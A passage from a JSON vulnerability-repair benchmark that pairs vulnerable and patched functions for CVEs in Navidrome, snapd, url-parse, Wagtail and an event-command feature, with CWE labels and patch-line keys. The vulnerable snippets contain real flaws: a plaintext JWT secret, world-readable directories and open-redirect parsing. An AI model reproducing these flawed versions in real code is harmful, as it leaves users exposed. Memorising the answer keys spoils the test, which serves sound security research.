                "snippet": "func Initialize(c Configuration, isShared int) error {\n\tisShuttingDown.Store(false)\n\tutil.SetUmask(c.Umask)\n\tversion.SetConfig(c.ServerVersion)\n\tdataprovider.SetTZ(c.TZ)\n\tConfig = c\n\tConfig.Actions.ExecuteOn = util.RemoveDuplicates(Config.Actions.ExecuteOn, true)\n\tConfig.Actions.ExecuteSync = util.RemoveDuplicates(Config.Actions.ExecuteSync, true)\n\tConfig.ProxyAllowed = util.RemoveDuplicates(Config.ProxyAllowed, true)\n\tConfig.idleLoginTimeout = 2 * time.Minute\n\tConfig.idleTimeoutAsDuration = time.Duration(Config.IdleTimeout) * time.Minute\n\tstartPeriodicChecks(periodicTimeoutCheckInterval, isShared)\n\tConfig.defender = nil\n\tConfig.allowList = nil\n\tConfig.rateLimitersList = nil\n\trateLimiters = make(map[string][]*rateLimiter)\n\tfor _, rlCfg := range c.RateLimitersConfig {\n\t\tif rlCfg.isEnabled() {\n\t\t\tif err := rlCfg.validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"rate limiters initialization error: %w\", err)\n\t\t\t}\n\t\t\trateLimiter := rlCfg.getLimiter()\n\t\t\tfor _, protocol := range rlCfg.Protocols {\n\t\t\t\trateLimiters[protocol] = append(rateLimiters[protocol], rateLimiter)\n\t\t\t}\n\t\t}\n\t}\n\tif len(rateLimiters) > 0 {\n\t\trateLimitersList, err := dataprovider.NewIPList(dataprovider.IPListTypeRateLimiterSafeList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize ratelimiters list: %w\", err)\n\t\t}\n\t\tConfig.rateLimitersList = rateLimitersList\n\t}\n\tif c.DefenderConfig.Enabled {\n\t\tif !slices.Contains(supportedDefenderDrivers, c.DefenderConfig.Driver) {\n\t\t\treturn fmt.Errorf(\"unsupported defender driver %q\", c.DefenderConfig.Driver)\n\t\t}\n\t\tvar defender Defender\n\t\tvar err error\n\t\tswitch c.DefenderConfig.Driver {\n\t\tcase DefenderDriverProvider:\n\t\t\tdefender, err = newDBDefender(&c.DefenderConfig)\n\t\tdefault:\n\t\t\tdefender, err = newInMemoryDefender(&c.DefenderConfig)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"defender initialization error: %v\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"defender initialized with config %+v\", c.DefenderConfig)\n\t\tConfig.defender = defender\n\t}\n\tif c.AllowListStatus > 0 {\n\t\tallowList, err := dataprovider.NewIPList(dataprovider.IPListTypeAllowList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize the allow list: %w\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"allow list initialized\")\n\t\tConfig.allowList = allowList\n\t}\n\tif err := c.initializeProxyProtocol(); err != nil {\n\t\treturn err\n\t}\n\tvfs.SetTempPath(c.TempPath)\n\tdataprovider.SetTempPath(c.TempPath)\n\tvfs.SetAllowSelfConnections(c.AllowSelfConnections)\n\tvfs.SetRenameMode(c.RenameMode)\n\tvfs.SetReadMetadataMode(c.Metadata.Read)\n\tvfs.SetResumeMaxSize(c.ResumeMaxSize)\n\tvfs.SetUploadMode(c.UploadMode)\n\tdataprovider.SetAllowSelfConnections(c.AllowSelfConnections)\n\ttransfersChecker = getTransfersChecker(isShared)\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            54
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            62
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_78_1",
                "commit": "88b1850b5806eee81150873d4e565144b21021fb",
                "file_path": "internal/common/common.go",
                "start_line": 179,
                "end_line": 256,
                "snippet": "func Initialize(c Configuration, isShared int) error {\n\tisShuttingDown.Store(false)\n\tutil.SetUmask(c.Umask)\n\tversion.SetConfig(c.ServerVersion)\n\tdataprovider.SetTZ(c.TZ)\n\tConfig = c\n\tConfig.Actions.ExecuteOn = util.RemoveDuplicates(Config.Actions.ExecuteOn, true)\n\tConfig.Actions.ExecuteSync = util.RemoveDuplicates(Config.Actions.ExecuteSync, true)\n\tConfig.ProxyAllowed = util.RemoveDuplicates(Config.ProxyAllowed, true)\n\tConfig.idleLoginTimeout = 2 * time.Minute\n\tConfig.idleTimeoutAsDuration = time.Duration(Config.IdleTimeout) * time.Minute\n\tstartPeriodicChecks(periodicTimeoutCheckInterval, isShared)\n\tConfig.defender = nil\n\tConfig.allowList = nil\n\tConfig.rateLimitersList = nil\n\trateLimiters = make(map[string][]*rateLimiter)\n\tfor _, rlCfg := range c.RateLimitersConfig {\n\t\tif rlCfg.isEnabled() {\n\t\t\tif err := rlCfg.validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"rate limiters initialization error: %w\", err)\n\t\t\t}\n\t\t\trateLimiter := rlCfg.getLimiter()\n\t\t\tfor _, protocol := range rlCfg.Protocols {\n\t\t\t\trateLimiters[protocol] = append(rateLimiters[protocol], rateLimiter)\n\t\t\t}\n\t\t}\n\t}\n\tif len(rateLimiters) > 0 {\n\t\trateLimitersList, err := dataprovider.NewIPList(dataprovider.IPListTypeRateLimiterSafeList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize ratelimiters list: %w\", err)\n\t\t}\n\t\tConfig.rateLimitersList = rateLimitersList\n\t}\n\tif c.DefenderConfig.Enabled {\n\t\tif !slices.Contains(supportedDefenderDrivers, c.DefenderConfig.Driver) {\n\t\t\treturn fmt.Errorf(\"unsupported defender driver %q\", c.DefenderConfig.Driver)\n\t\t}\n\t\tvar defender Defender\n\t\tvar err error\n\t\tswitch c.DefenderConfig.Driver {\n\t\tcase DefenderDriverProvider:\n\t\t\tdefender, err = newDBDefender(&c.DefenderConfig)\n\t\tdefault:\n\t\t\tdefender, err = newInMemoryDefender(&c.DefenderConfig)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"defender initialization error: %v\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"defender initialized with config %+v\", c.DefenderConfig)\n\t\tConfig.defender = defender\n\t}\n\tif c.AllowListStatus > 0 {\n\t\tallowList, err := dataprovider.NewIPList(dataprovider.IPListTypeAllowList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize the allow list: %w\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"allow list initialized\")\n\t\tConfig.allowList = allowList\n\t}\n\tif err := c.initializeProxyProtocol(); err != nil {\n\t\treturn err\n\t}\n\tif err := c.EventManager.validate(); err != nil {\n\t\treturn err\n\t}\n\tvfs.SetTempPath(c.TempPath)\n\tdataprovider.SetTempPath(c.TempPath)\n\tvfs.SetAllowSelfConnections(c.AllowSelfConnections)\n\tvfs.SetRenameMode(c.RenameMode)\n\tvfs.SetReadMetadataMode(c.Metadata.Read)\n\tvfs.SetResumeMaxSize(c.ResumeMaxSize)\n\tvfs.SetUploadMode(c.UploadMode)\n\tdataprovider.SetAllowSelfConnections(c.AllowSelfConnections)\n\tdataprovider.EnabledActionCommands = c.EventManager.EnabledCommands\n\ttransfersChecker = getTransfersChecker(isShared)\n\treturn nil\n}"
            },
            {
                "id": "fix_go_78_2",
                "commit": "88b1850b5806eee81150873d4e565144b21021fb",
                "file_path": "internal/common/common.go",
                "start_line": 520,
                "end_line": 525,
                "snippet": "type EventManagerConfig struct {\n\t// EnabledCommands defines the system commands that can be executed via EventManager,\n\t// an empty list means that any command is allowed to be executed.\n\t// Commands must be set as an absolute path\n\tEnabledCommands []string `json:\"enabled_commands\" mapstructure:\"enabled_commands\"`\n}"
            },
            {
                "id": "fix_go_78_3",
                "commit": "88b1850b5806eee81150873d4e565144b21021fb",
                "file_path": "internal/common/common.go",
                "start_line": 527,
                "end_line": 534,
                "snippet": "func (c *EventManagerConfig) validate() error {\n\tfor _, c := range c.EnabledCommands {\n\t\tif !filepath.IsAbs(c) {\n\t\t\treturn fmt.Errorf(\"invalid command %q: it must be an absolute path\", c)\n\t\t}\n\t}\n\treturn nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-52309"
    },
    {
        "cve_id": "CVE-2024-56362",
        "cve_description": "Navidrome is an open source web-based music collection server and streamer. Navidrome stores the JWT secret in plaintext in the navidrome.db database file under the property table. This practice introduces a security risk because anyone with access to the database file can retrieve the secret. This vulnerability is fixed in 0.54.1.",
        "cwe_info": {
            "CWE-312": {
                "name": "Cleartext Storage of Sensitive Information",
                "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."
            }
        },
        "repo": "https://github.com/navidrome/navidrome",
        "patch_url": [
            "https://github.com/navidrome/navidrome/commit/7f030b0859653593fd2ac0df69f4a313f9caf9ff"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_77_1",
                "commit": "177a1f853f1e1fe55f2b951873a12c634fa851ce",
                "file_path": "core/auth/auth.go",
                "start_line": 24,
                "end_line": 35,
                "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\t\tsecret, err := ds.Property(context.TODO()).Get(consts.JWTSecretKey)\n\t\tif err != nil || secret == \"\" {\n\t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n\t\t\tsecret = uuid.NewString()\n\t\t}\n\t\tSecret = []byte(secret)\n\t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n\t})\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_77_1",
                "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff",
                "file_path": "core/auth/auth.go",
                "start_line": 28,
                "end_line": 45,
                "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tctx := context.TODO()\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\n\t\tsecret, err := ds.Property(ctx).Get(consts.JWTSecretKey)\n\t\tif err != nil || secret == \"\" {\n\t\t\tsecret = createNewSecret(ctx, ds)\n\t\t} else {\n\t\t\tif secret, err = utils.Decrypt(ctx, getEncKey(), secret); err != nil {\n\t\t\t\tlog.Error(ctx, \"Could not decrypt JWT secret, creating a new one\", err)\n\t\t\t\tsecret = createNewSecret(ctx, ds)\n\t\t\t}\n\t\t}\n\n\t\tTokenAuth = jwtauth.New(\"HS256\", []byte(secret), nil)\n\t})\n}"
            },
            {
                "id": "fix_go_77_2",
                "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff",
                "file_path": "core/auth/auth.go",
                "start_line": 21,
                "end_line": 24,
                "snippet": "var (\n\tonce      sync.Once\n\tTokenAuth *jwtauth.JWTAuth\n)"
            },
            {
                "id": "fix_go_77_3",
                "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff",
                "file_path": "utils/encrypt.go",
                "start_line": 40,
                "end_line": 72,
                "snippet": "func Decrypt(ctx context.Context, encKey []byte, encData string) (value string, err error) {\n\t// Recover from any panics\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tlog.Error(ctx, \"Panic during decryption\", r)\n\t\t\terr = errors.New(\"decryption panicked\")\n\t\t}\n\t}()\n\n\tenc, _ := base64.StdEncoding.DecodeString(encData)\n\n\tblock, err := aes.NewCipher(encKey)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not create a cipher\", err)\n\t\treturn \"\", err\n\t}\n\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not create a GCM\", err)\n\t\treturn \"\", err\n\t}\n\n\tnonceSize := aesGCM.NonceSize()\n\tnonce, ciphertext := enc[:nonceSize], enc[nonceSize:]\n\n\tplaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not decrypt password\", err)\n\t\treturn \"\", err\n\t}\n\n\treturn string(plaintext), nil"
            },
            {
                "id": "fix_go_77_4",
                "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff",
                "file_path": "core/auth/auth.go",
                "start_line": 126,
                "end_line": 139,
                "snippet": "func createNewSecret(ctx context.Context, ds model.DataStore) string {\n\tlog.Info(ctx, \"Creating new JWT secret, used for encrypting UI sessions\")\n\tsecret := uuid.NewString()\n\tencSecret, err := utils.Encrypt(ctx, getEncKey(), secret)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not encrypt JWT secret\", err)\n\t}\n\n\tif err := ds.Property(ctx).Put(consts.JWTSecretKey, encSecret); err != nil {\n\t\tlog.Error(ctx, \"Could not save JWT secret in DB\", err)\n\t}\n\n\treturn secret\n}"
            },
            {
                "id": "fix_go_77_5",
                "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff",
                "file_path": "core/auth/auth.go",
                "start_line": 141,
                "end_line": 148,
                "snippet": "func getEncKey() []byte {\n\tkey := cmp.Or(\n\t\tconf.Server.PasswordEncryptionKey,\n\t\tconsts.DefaultEncryptionKey,\n\t)\n\tsum := sha256.Sum256([]byte(key))\n\treturn sum[:]\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-56362"
    },
    {
        "cve_id": "CVE-2021-3155",
        "cve_description": "snapd 2.54.2 and earlier created ~/snap directories in user home directories without specifying owner-only permissions. This could allow a local attacker to read information that should have been private. Fixed in snapd versions 2.54.3+18.04, 2.54.3+20.04 and 2.54.3+21.10.1",
        "cwe_info": {
            "CWE-276": {
                "name": "Incorrect Default Permissions",
                "description": "During installation, installed file permissions are set to allow anyone to modify those files."
            }
        },
        "repo": "https://github.com/snapcore/snapd",
        "patch_url": [
            "https://github.com/snapcore/snapd/commit/6bcaeeccd16ed8298a301dd92f6907f88c24cc85"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_43_1",
                "commit": "5b6f77a",
                "file_path": "cmd/snap/cmd_run.go",
                "start_line": 376,
                "end_line": 414,
                "snippet": "func createUserDataDirs(info *snap.Info) error {\n\t// Adjust umask so that the created directories have the permissions we\n\t// expect and are unaffected by the initial umask. While go runtime creates\n\t// threads at will behind the scenes, the setting of umask applies to the\n\t// entire process so it doesn't need any special handling to lock the\n\t// executing goroutine to a single thread.\n\toldUmask := syscall.Umask(0)\n\tdefer syscall.Umask(oldUmask)\n\n\tusr, err := userCurrent()\n\tif err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot get the current user: %v\"), err)\n\t}\n\n\t// see snapenv.User\n\tinstanceUserData := info.UserDataDir(usr.HomeDir)\n\tinstanceCommonUserData := info.UserCommonDataDir(usr.HomeDir)\n\tcreateDirs := []string{instanceUserData, instanceCommonUserData}\n\tif info.InstanceKey != \"\" {\n\t\t// parallel instance snaps get additional mapping in their mount\n\t\t// namespace, namely /home/joe/snap/foo_bar ->\n\t\t// /home/joe/snap/foo, make sure that the mount point exists and\n\t\t// is owned by the user\n\t\tsnapUserDir := snap.UserSnapDir(usr.HomeDir, info.SnapName())\n\t\tcreateDirs = append(createDirs, snapUserDir)\n\t}\n\tfor _, d := range createDirs {\n\t\tif err := os.MkdirAll(d, 0755); err != nil {\n\t\t\t// TRANSLATORS: %q is the directory whose creation failed, %v the error message\n\t\t\treturn fmt.Errorf(i18n.G(\"cannot create %q: %v\"), d, err)\n\t\t}\n\t}\n\n\tif err := createOrUpdateUserDataSymlink(info, usr); err != nil {\n\t\treturn err\n\t}\n\n\treturn maybeRestoreSecurityContext(usr)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            14
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_43_1",
                "commit": "7d2a966",
                "file_path": "cmd/snap/cmd_run.go",
                "start_line": 376,
                "end_line": 418,
                "snippet": "func createUserDataDirs(info *snap.Info) error {\n\t// Adjust umask so that the created directories have the permissions we\n\t// expect and are unaffected by the initial umask. While go runtime creates\n\t// threads at will behind the scenes, the setting of umask applies to the\n\t// entire process so it doesn't need any special handling to lock the\n\t// executing goroutine to a single thread.\n\toldUmask := syscall.Umask(0)\n\tdefer syscall.Umask(oldUmask)\n\n\tusr, err := userCurrent()\n\tif err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot get the current user: %v\"), err)\n\t}\n\n\tsnapDir := filepath.Join(usr.HomeDir, dirs.UserHomeSnapDir)\n\tif err := os.MkdirAll(snapDir, 0700); err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot create snap home dir: %w\"), err)\n\t}\n\t// see snapenv.User\n\tinstanceUserData := info.UserDataDir(usr.HomeDir)\n\tinstanceCommonUserData := info.UserCommonDataDir(usr.HomeDir)\n\tcreateDirs := []string{instanceUserData, instanceCommonUserData}\n\tif info.InstanceKey != \"\" {\n\t\t// parallel instance snaps get additional mapping in their mount\n\t\t// namespace, namely /home/joe/snap/foo_bar ->\n\t\t// /home/joe/snap/foo, make sure that the mount point exists and\n\t\t// is owned by the user\n\t\tsnapUserDir := snap.UserSnapDir(usr.HomeDir, info.SnapName())\n\t\tcreateDirs = append(createDirs, snapUserDir)\n\t}\n\tfor _, d := range createDirs {\n\t\tif err := os.MkdirAll(d, 0755); err != nil {\n\t\t\t// TRANSLATORS: %q is the directory whose creation failed, %v the error message\n\t\t\treturn fmt.Errorf(i18n.G(\"cannot create %q: %v\"), d, err)\n\t\t}\n\t}\n\n\tif err := createOrUpdateUserDataSymlink(info, usr); err != nil {\n\t\treturn err\n\t}\n\n\treturn maybeRestoreSecurityContext(usr)\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-3155"
    },
    {
        "cve_id": "CVE-2021-3664",
        "cve_description": "url-parse is vulnerable to URL Redirection to Untrusted Site",
        "cwe_info": {
            "CWE-601": {
                "name": "URL Redirection to Untrusted Site ('Open Redirect')",
                "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."
            }
        },
        "repo": "https://github.com/unshiftio/url-parse",
        "patch_url": [
            "https://github.com/unshiftio/url-parse/commit/81ab967889b08112d3356e451bf03e6aa0cbb7e0"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_50_1",
                "commit": "ee22050",
                "file_path": "index.js",
                "start_line": 116,
                "end_line": 129,
                "snippet": "function extractProtocol(address) {\n  address = trimLeft(address);\n\n  var match = protocolre.exec(address)\n    , protocol = match[1] ? match[1].toLowerCase() : ''\n    , slashes = !!(match[2] && match[2].length >= 2)\n    , rest =  match[2] && match[2].length === 1 ? '/' + match[3] : match[3];\n\n  return {\n    protocol: protocol,\n    slashes: slashes,\n    rest: rest\n  };\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            4,
                            5,
                            6,
                            7
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_50_2",
                "commit": "ee22050",
                "file_path": "index.js",
                "start_line": 181,
                "end_line": 328,
                "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '');\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (!extracted.slashes || url.protocol === 'file:') {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (\n      url.pathname.charAt(0) !== '/'\n    && (url.hostname || url.protocol === 'file:')\n  ) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0] || '';\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol && url.host && url.protocol !== 'file:'\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            37
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_50_1",
                "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0",
                "file_path": "index.js",
                "start_line": 135,
                "end_line": 163,
                "snippet": "function extractProtocol(address, location) {\n  address = trimLeft(address);\n  location = location || {};\n\n  var match = protocolre.exec(address);\n  var protocol = match[1] ? match[1].toLowerCase() : '';\n  var rest = match[2] ? match[2] + match[3] : match[3];\n  var slashes = !!(match[2] && match[2].length >= 2);\n\n  if (protocol === 'file:') {\n    if (slashes) {\n      rest = rest.slice(2);\n    }\n  } else if (isSpecial(protocol)) {\n    rest = match[3];\n  } else if (protocol) {\n    if (rest.indexOf('//') === 0) {\n      rest = rest.slice(2);\n    }\n  } else if (slashes && location.hostname) {\n    rest = match[3];\n  }\n\n  return {\n    protocol: protocol,\n    slashes: slashes,\n    rest: rest\n  };\n}"
            },
            {
                "id": "fix_js_50_2",
                "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0",
                "file_path": "index.js",
                "start_line": 215,
                "end_line": 365,
                "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    url.protocol === 'file:' ||\n    (!extracted.slashes && !isSpecial(extracted.protocol))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (\n      url.pathname.charAt(0) !== '/'\n    && (url.hostname || url.protocol === 'file:')\n  ) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0] || '';\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol && url.host && url.protocol !== 'file:'\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}"
            },
            {
                "id": "fix_js_50_3",
                "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0",
                "file_path": "index.js",
                "start_line": 101,
                "end_line": 117,
                "snippet": "/**\n * Check whether a protocol scheme is special.\n *\n * @param {String} The protocol scheme of the URL\n * @return {Boolean} `true` if the protocol scheme is special, else `false`\n * @private\n */\nfunction isSpecial(scheme) {\n  return (\n    scheme === 'file:' ||\n    scheme === 'ftp:' ||\n    scheme === 'http:' ||\n    scheme === 'https:' ||\n    scheme === 'ws:' ||\n    scheme === 'wss:'\n  );\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-3664"
    },
    {
        "cve_id": "CVE-2022-21683",
        "cve_description": "Wagtail is a Django based content management system focused on flexibility and user experience. When notifications for new replies in comment threads are sent, they are sent to all users who have replied or commented anywhere on the site, rather than only in the relevant threads. This means that a user could listen in to new comment replies on pages they have not have editing access to, as long as they have left a comment or reply somewhere on the site. A patched version has been released as Wagtail 2.15.2, which restores the intended behaviour - to send notifications for new replies to the participants in the active thread only (editing permissions are not considered). New comments can be disabled by setting `WAGTAILADMIN_COMMENTS_ENABLED = False` in the Django settings file.",
        "cwe_info": {
            "CWE-200": {
                "name": "Exposure of Sensitive Information to an Unauthorized Actor",
                "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."
            }
        },
        "repo": "https://github.com/wagtail/wagtail",
        "patch_url": [
            "https://github.com/wagtail/wagtail/commit/5fe901e5d86ed02dbbb63039a897582951266afd"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_16_1",
                "commit": "335ece5",
                "file_path": "wagtail/admin/views/pages/edit.py",
                "start_line": 121,
                "end_line": 197,
                "snippet": "    def send_commenting_notifications(self, changes):\n        \"\"\"\n        Sends notifications about any changes to comments to anyone who is subscribed.\n        \"\"\"\n        relevant_comment_ids = []\n        relevant_comment_ids.extend(comment.pk for comment in changes['resolved_comments'])\n        relevant_comment_ids.extend(comment.pk for comment, replies in changes['new_replies'])\n\n        # Skip if no changes were made\n        # Note: We don't email about edited comments so ignore those here\n        if (not changes['new_comments']\n                and not changes['deleted_comments']\n                and not changes['resolved_comments']\n                and not changes['new_replies']):\n            return\n\n        # Get global page comment subscribers\n        subscribers = PageSubscription.objects.filter(page=self.page, comment_notifications=True).select_related('user')\n        global_recipient_users = [subscriber.user for subscriber in subscribers if subscriber.user != self.request.user]\n\n        # Get subscribers to individual threads\n        replies = CommentReply.objects.filter(comment_id__in=relevant_comment_ids)\n        comments = Comment.objects.filter(id__in=relevant_comment_ids)\n        thread_users = 